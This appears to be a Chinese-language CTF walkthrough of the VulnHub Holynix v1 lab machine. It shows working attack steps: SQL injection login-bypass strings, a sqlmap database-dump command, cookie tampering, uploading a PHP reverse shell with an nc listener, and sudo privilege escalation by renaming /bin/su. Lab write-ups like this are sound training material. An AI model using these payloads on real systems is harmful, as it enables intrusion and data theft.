-
准备工作
- 靶机下载链接:https://download.vulnhub.com/holynix/holynix-v1.tar.bz2
- 下载后解压,点击文件
.vmx
- 安装开启虚拟机,点击 "我已移动该虚拟机"
- 若点击"我已复制该虚拟机",则后续无法扫到 IP (重要!)
- 成功启动
- 修改网卡(与自己的主机在同一网段下即可,有插网线推荐桥接,WIFI推荐NAT),这里我选择NAT
- 确认MAC地址
- 这里有个坑点:在它的配置文件中MAC地址是写死的,也就是说不是特定的MAC地址就扫不到IP.......
- MAC地址:00:0C:29:BC:05:DE
- 重启靶机
-
信息收集
- 确定NAT网段
- 可以看到NAT是
192.168.142.0/24
网段的 - kali 执行
sudo nmap -sn -PR 192.168.142.0/24
- 发现 IP 为 192.168.142.143
- 端口扫描:
nmap -p- 192.168.142.143
- 发现开放80端口,尝试访问
-
获取shell
-
点击login 进入登录界面
-
账号输入:admin" 密码输入:admin'
-
发现报SQL的错误,查看其报错语句,发现注入点在密码上,其未对密码的单引号(')进行转义
-
尝试万能密码登录 密码:
' or 1=1 #
-
登录成功
-
发现文件上传功能点
-
上传,发现提示 alamo 家目录禁止上传文件 ,表名了二个信息:一是当前用户无权限,二是会上传到家目录
-
找可疑功能点,最终发现以POST方式提交的参数
-
该页面Burp抓包修改(前)
-
修改后,发现可以进行文件读取
-
点击
logout
,使用etenenbaum
用户进行登录 - 登录方式(三)
-
方式一:SQL注入 -
密码处输入
' or username='etenenbaum' #
,账户任意 -
最终传入数据库的语句:
SELECT * FROM accounts WHERE username='111' AND password='' or username='etenenbaum' #'
-
登录成功:
方式二:修改用户Cookie值实现越权 - 点击F12 - 应用程序 - Cookie - URL链接
- 发现1为alamo,0为未登录,2为etenenbaum用户,3为gmckinnon,.....(还满奇怪的)
方式三:SqlMap下载数据 - 这里要用本机的sqlmap,kali的不行
- 语句:python sqlmap.py -u "http://192.168.142.143/index.php?page=login.php" --data="user_name=admin&password=admin" -p password --dbs --dump --batch
- 将对方数据库下载下来看看,结果保存在这里
- 发现最有价值的是
accounts.csv
文件 - 尝试登录:账号:
etenenbaum
密码:P3n7@g0n0wN3d
登录成功 - 其实这时候就可以直接用获取的账号密码登录靶机了
-
-
返回上传功能点,上传文件
-
发现可以上传成功
-
访问家目录
-
点击上传文件,发现无法解析
-
回到kali构造反向shell,直接在kali中搜索并复制到当前目录
-
顺序执行以下命令
-
locate php-reverse cp /usr/share/laudanum/php/php-reverse-shell.php . vim php-reverse-shell.php
-
修改其中反弹shell的ip和端口(要为可以反弹到的IP和端口)
-
当前目录下找到前面拷贝的文件,进行压缩:
-
tar czf shell.tar.gz php-reverse-shell.php
-
得到
-
开启监听
nc -lvnp 555
-
将得到的压缩文件
shell.tar.gz
通过上传功能点上传到靶机,记得勾选下面的选项 -
上传后,点击它自动解压后的
php-reverse-shell.php
文件,发现反弹shell成功 -
这里有个坑点,本机概率反弹不到,可以重启靶机,重启靶机不行的,直接在kali上使用火狐浏览器上传和反弹,如果还是反弹不到,请检查你写的IP和端口
-
权限提升 - SUDO提权
-
列出当前用户拥有sudo权限的命令
sudo -l
-
使用mv提权
- 先将tar 改名为 tar.orgi:
sudo mv /bin/tar /bin/tar.orgi
- 将提权的su命令改为tar命令:
sudo mv /bin/su /bin/tar
- 执行 修改后的tar 命令(实际是执行su命令):
sudo tar
- 提权成功
- 先将tar 改名为 tar.orgi:
-
总结
-
流程:主机发现 - 信息收集 - web渗透 - 获取shell - 权限提升
-
web渗透:
-
在web渗透中看到
参数=文件
或?文件
时,就要想到任意文件读取等文件相关的漏洞; -
SQLMap注入时 ,我经常使用的是 -r 和 -p 参数,没想到在这次的注入中居然失灵了,一度以为无法使用SQLMap,没想到 --data 反而立了大功,这倒是提醒我要经常换着使用参数;
-
Cookie的修改越权,近期见的确实不少,以后要将查看Cookie的优先度,往前提一提了;
-
还有一些需要在本机和kali间来回切换执行的命令,在以后的渗透中,也要多多测试了;
-
在靶机里Security 功能下的 Display File 中并没有想到其居然隐藏着一个POST参数,以后看到能点的就需要多多尝试了
-